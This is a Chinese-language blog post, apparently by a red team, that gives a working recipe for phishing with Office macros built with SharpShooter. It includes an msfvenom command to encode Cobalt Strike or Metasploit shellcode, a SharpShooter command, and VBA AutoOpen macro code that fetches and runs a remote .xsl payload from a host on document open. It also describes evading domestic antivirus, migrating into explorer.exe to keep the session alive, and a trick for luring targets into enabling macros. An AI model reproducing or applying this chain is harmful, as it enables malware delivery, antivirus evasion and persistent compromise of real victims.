前言

​ “打点越来越难了,社工钓鱼会是最常见的攻击手段,0day会是最有效的攻击手段,物理渗透会是危害最大的攻击手段“。

在钓鱼攻击中木马的形式主要如下:

  • Office

  • DLL劫持

  • 假冒加固工具

  • 木马捆绑

通常办公软件Office具有最大的安装量,将文档插入邮件中已经是惯用的工作方式。但是Office常见的攻击方法:

  • 0day

  • 已知CVE漏洞

  • DDEAUTO

  • 注入执行命令

  • 第一种方法直接跳过,已知的CVE漏洞特征太明显,免杀成本和技术含量太大了。DDEAUTO和注入执行命令直接被杀软限制的很死。最后只能靠宏了,虽然默认情况下,Office已经禁用所有宏,但仍会在打开Word文档的时候发出通知。

    通过收集宏免杀的常用的方法和测试,发现加载远程.xsl文件可以绕过国内常用的杀软360全家桶和火绒成功上线。

SharpShooter

通过收集和测试一些开源的宏免杀的项目,发现了一个很好的项目,国外一个安全团队写的钓鱼框架。其中一个工具就是可以生成一个VBA宏文件,这个宏文件会用XMLDOM去加载远程的.xsl文件。

具体原理和利用分析见文章:

Macros and More with SharpShooter v2.0

更多的框架利用可以看项目介绍:

项目地址:https://github.com/mdsecactivebreach/SharpShooter

利用测试

生成payload.bin

首先我们可以用Cobalt Strike或者Metasploit生成二进制格式的shellcode,即后缀为bin的文件。

处理payload.bin

然后利用msfvenompayload.bin,因为SharpShooter要求shellcode中不能含有空字节。

1
msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-encoded.bin -b "\x00"

生成xsl和macro

如下命令生成.xsl文件和macro文件:

1
SharpShooter.py --stageless --dotnetver 2 --payload macro --output foo --rawscfile shellcode-encoded.bin --com xslremote --awlurl http://192.168.0.104:80/foo.xsl

简单介绍一下上面的几个参数:

  • –dotnetver:为目标的.net版本,可选2或者4
  • –awlurl: 为xsl存放地址

1584781368230

生成的foo.macro内容很简单,代码如下:

1
2
3
4
5
6
7
Sub Auto_Open()
Set XML = CreateObject("Microsoft.XMLDOM")
XML.async = False
Set xsl = XML
xsl.Load "http://192.168.0.104:80/foo.xsl"
XML.transformNode xsl
End Sub

创建一个对象加载远程的xsl文件。如果需要使函数Auto_Open()加到AutoOpen()方法里,这样就可以在打开word文档的时间就能运行宏,具体代码如下:

1
2
3
4
5
6
7
8
9
10
Sub AutoOpen()
Auto_Open
End Sub
Sub Auto_Open()
Set XML = CreateObject("Microsoft.XMLDOM")
XML.async = False
Set xsl = XML
xsl.Load "http://192.168.0.104:80/foo.xsl"
XML.transformNode xsl
End Sub

foo.xsl文件为SharpShooter处理后的shellcode。

1584807351799

我们可以把foo.xsl传到自己的vps或者公共下载网站,然后修改vba代码中的地址即可。再讲vba代码加到word或着excel文档中即可。

进程迁移

office宏加载远程的.xsl文件有个缺点就是,点击启用宏后word进程会崩掉,如word进程被结束了,Cobalt Strike或者Metasploit会掉线。所以我们要做的是,在目标上线的时候就自动迁移到其他进程上。

处理方法:

  • Cobalt Strike:通过插件实现上线后自动迁移进程,Beacon Handler Suite
  • Metasploit: 在设置监听的时间可以设置:set autorunscript migrate -N explorer.exe 或 set autorunscript -f

这样可以实现在word进程被关闭后,得到一个新的会话,即持久的控制目标。

演示视频

引导性处理

为了更好去引导目标启用宏可以如下处理:

第一步:进入开发工具,选择插入控件—其他控件—Microsoft RDP Client Control*

1584808968035

第二步:设置控件属性内的Sever为localhost StartConnection为1,即点开自启动

1584809056606

第三步:插入vba代码

1584809241553

设置完成后,启用宏的提示就变成了部分活动内容已被禁用,启用内容。

1584809310487

这样就更好的去引导目标启用宏了。

总结

​ “站在巨人的肩膀上”,以上的思路和方法是最近一个星期在githubtwitter和国内外的安全网站论坛上收集和测试得到的结果。然后自己做的一个总结,有兴趣的师傅可以自己研究SharpShooter这个项目,并关注我们的微信公众号,后续我们会继续分享一些思路和方法。

Reference

https://www.secquan.org/Discuss/1070836

https://www.mdsec.co.uk/2019/02/macros-and-more-with-sharpshooter-v2-0/

https://github.com/mdsecactivebreach/SharpShooter